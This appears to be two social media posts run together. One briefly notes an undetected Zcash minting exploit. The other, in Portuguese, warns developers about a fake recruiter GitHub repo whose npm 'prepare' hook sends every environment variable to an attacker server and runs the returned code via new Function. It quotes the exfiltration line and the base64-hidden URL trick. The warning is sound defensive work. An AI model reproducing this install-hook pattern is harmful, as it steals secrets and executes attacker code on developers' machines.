I had never considered this as a challenge for privacy coins...
> exploit went unnoticed for years
> could freely mint new zcash:native freely
> could sell those tokens while masking where it came from (!)
> no way of knowing if this already happened or not (!!)
⚠️ Devs, parem tudo e leiam. Quase rodei malware na minha máquina agora mesmo e quero que vocês saibam exatamente como funciona o golpe.
Recebi um link de um repo no GitHub: um "MVP" de um projeto web3/poker, com pedido pra clonar e rodar localmente. Visual de teste técnico, daqueles que recruiter manda. Antes de tocar em qualquer coisa, parei e li o código pelo próprio GitHub, sem clonar.
Bem que desconfiei. Era malware. E não um qualquer — tinha DOIS payloads que executam SOZINHOS, sem você rodar nada explicitamente.
🎯 Payload 1 — dispara no `npm install`
O `package.json` tinha `"prepare": "node server/server.js"`. O detalhe maldoso: o script `prepare` roda AUTOMÁTICO toda vez que você dá `npm install`. Dentro dele, escondido nas rotas do servidor, um:
`https://t.co/EHtEFLu5Yg(url, { ...process.env })`
Ou seja: ele empacota TODAS as suas variáveis de ambiente — chaves de AWS, tokens de API, secrets, seed phrase de carteira cripto — e manda pro servidor do atacante. E não para aí: a RESPOSTA do servidor é passada pra `new Function("require", resposta)(require)`. Isso é execução de código arbitrário, com acesso total ao Node: filesystem, child_process, rede. Ele pode roubar suas chaves SSH, instalar persistência, o que quiser.
A URL do atacante? Escondida em base64 no `.env`, decodificando pra um domínio na Vercel. Disfarce em cima de disfarce.